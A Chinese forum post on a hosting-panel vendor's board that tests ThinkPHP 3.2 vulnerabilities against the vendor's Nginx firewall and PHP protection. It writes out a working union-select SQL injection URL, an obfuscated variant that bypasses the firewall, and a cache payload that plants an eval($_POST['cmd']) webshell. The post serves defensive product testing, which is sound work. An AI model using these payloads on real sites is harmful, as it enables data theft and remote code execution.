当前位置:论坛首页 > Linux面板 > Linux面板教程

thinkphp3网站的安全防护测试

发表在 Linux面板2020-5-29 16:13 [复制链接] 0 2086

本帖最后由 cuokon 于 2020-5-29 16:22 编辑

Thinkphp3.2 order by 注入

漏洞影响版本:
ThinkPHP 3.2.3以下
ThinkPHP 5.1.22以下

漏洞代码:

图片1.png


简单讲解一下意思,获取order参数然后放到order函数去执行
这里的order函数参数可控,会导致注入
传入一个单引号

图片2.png
可以单引号已经被带入SQL语句执行,利用报错注入获得用户名

Payload:

图片3.png

装上付费Nginx防火墙

图片4.png
在次请求

图片5.png
尝试绕过
Payload:

图片8.png


Thinkphp3.2 find 注入
漏洞影响版本:
ThinkPHP 3.2.3以下

漏洞代码:

图片9.png
Payload:
http://mythink.com/index.php/home/index/find?id[table]=user%20where%201=2%20union%20select%201,user(),database()%20--%20a
图片10.png








注入后成功获取到了数据,装上付费的Nginx防火墙进行防御
图片11.png
再次提交payload
图片12.png
进行绕过
http://mythink.com/index.php/Home/index/Find?id[table]=user%0bwhere%091=\Nunion%09select!1,/*!/*!user()*/,%0adatabase/*!700000awefw*/()%20--%20a


图片13.png


Thinkphp 3.2.3缓存漏洞
漏洞影响:
ThinkPHP 3.2.3

漏洞代码:

图片14.png


Payload:
http://mythink.com/index.php/Home/index/cacheSet?value=%0d%0aeval($_POST[%27cmd%27]);%0d%0a//

图片15.png
访问后,已经生成一个Webshell了,名字是name的md5加密值,所以说只要知道了缓存的名字,就可以getshell,这里还是有安全隐患的

图片16.png

开启付费版的Nginx防火墙
图片17.png
发现直接拦截,不过因为php非常的灵活,还是可能纯在绕过的,这时候我们的宝塔PHP安全防护就登场了,为此站点制定了该cms专属的规则
图片18.png

关掉Nginx防火墙,开启PHP安全防护,然后发送Payload
图片19.png
缓存成功了,文件也生成了,视乎好像并没有什么卵用,不过好戏在后头,访问生成的shell
图片20.png
看到的是报错内容其实是被拦截了,此目录被设置了不允许执行任何php脚本文件,所以这个漏洞也就相当于被防御了

总结:
Nginx防火墙和堡塔PHP安全防护这2个工具加起来可以抵御大部分的网络工具,让网站更加安全。如果有遇到一些bug欢迎反馈!!!


使用道具 举报 只看该作者 回复
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

企业版年付运维跟进群

普通问题处理

论坛响应时间:72小时

问题处理方式:排队(仅解答)

工作时间:白班:9:00 - 18:00

紧急问题处理

论坛响应时间:10分钟

问题处理方式:1对1处理(优先)

工作时间:白班:9:00 - 18:00

工作时间:晚班:18:00 - 24:00

立即付费处理
快速回复 返回顶部 返回列表